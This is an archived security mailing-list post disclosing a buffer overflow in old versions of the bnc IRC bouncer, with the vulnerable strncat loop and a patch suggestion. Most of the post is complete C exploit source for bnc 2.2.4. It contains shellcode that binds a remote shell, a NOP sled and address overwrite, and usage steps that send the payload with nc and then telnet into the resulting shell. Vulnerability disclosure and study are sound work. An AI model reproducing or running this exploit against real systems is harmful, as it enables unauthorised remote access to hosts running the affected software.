It isn't a new bug and only the old versions of bnc are affected. In a fact, I was thinking that this hole was public because the new version of bnc is patched. I've coded a little source that exploits bnc 2.2.4 but it hasn't posted here before to break some script kiddies that uses this kind of program to gain access in all systems they can. The core of bug is in a sequence of strcat's to a buffer with 1024 bytes: -- while(tm[0]!='\n'||strlen(buffer)<=0){ memset(tm,0,2); if(read(s,tm,1) <= 0){ close(s); return; } strncat(buffer,tm,1); } -- To patch, you can limit the loop to 1024 or get the new release of bnc. --- cut here --- /* * SDI irc bouncer exploit * * This source exploits a buffer overflow in the bnc, * popular irc bouncer, binding a shell. * * Tested against bnc 2.2.4 running on linux. * * usage: * lame:~# gcc SDI-bnc.c -o SDI-bnc * * lame:~# (SDI-bnc 0; cat) | nc www.lame.org 666 * `-> offset, zero in most cases * * lame:~# telnet www.lame.org 10752 * * * by jamez and dumped from sekure SDI (www.sekure.org) * * email: securecodeat_private * * merry christmas and happy 1999 ;) * */ /* c0nd0r :* */ char bindcode[] = "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80\x33\xD2\x33\xc0\x8b\xDA\xb0\x06" "\xcd\x80\xfe\xc2\x75\xf4\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62" "\xeb\x62\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b\xeb\xf5\xb0" "\x30\xfe\xc8\x88\x46\xff\xeb\xec\x5e\xb0\x02\x89\x06\xfe\xc8\x89" "\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb\xfe\xc3\x89\xf1\xcd" "\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46\x0e\x8d" "\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0" "\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04" "\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80" "\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1" "\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46" "\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" "\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff" "\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77"; #define SIZE 1600 #define NOP 0x90 char buffer[SIZE]; void main(int argc, char * argv[]) { int i, x, offset = 0; long addr; if(argc > 1) offset = atoi(argv[1]); addr = 0xbffff6ff + offset; /* evil addr */ for(i = 0; i < SIZE/3; i++) buffer[i] = NOP; for(x = 0; x < strlen(bindcode); i++, x++) buffer[i] = bindcode[x]; for (; i < SIZE; i += 4) { buffer[i ] = addr & 0x000000ff; buffer[i+1] = (addr & 0x0000ff00) >> 8; buffer[i+2] = (addr & 0x00ff0000) >> 16; buffer[i+3] = (addr & 0xff000000) >> 24; } buffer[SIZE - 1] = 0; printf("USER %s\n", buffer); } --- cut here --- -- - uground/sekure team. secure code adm. key jamez.sekure.org/jmz.key
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:26:28 PDT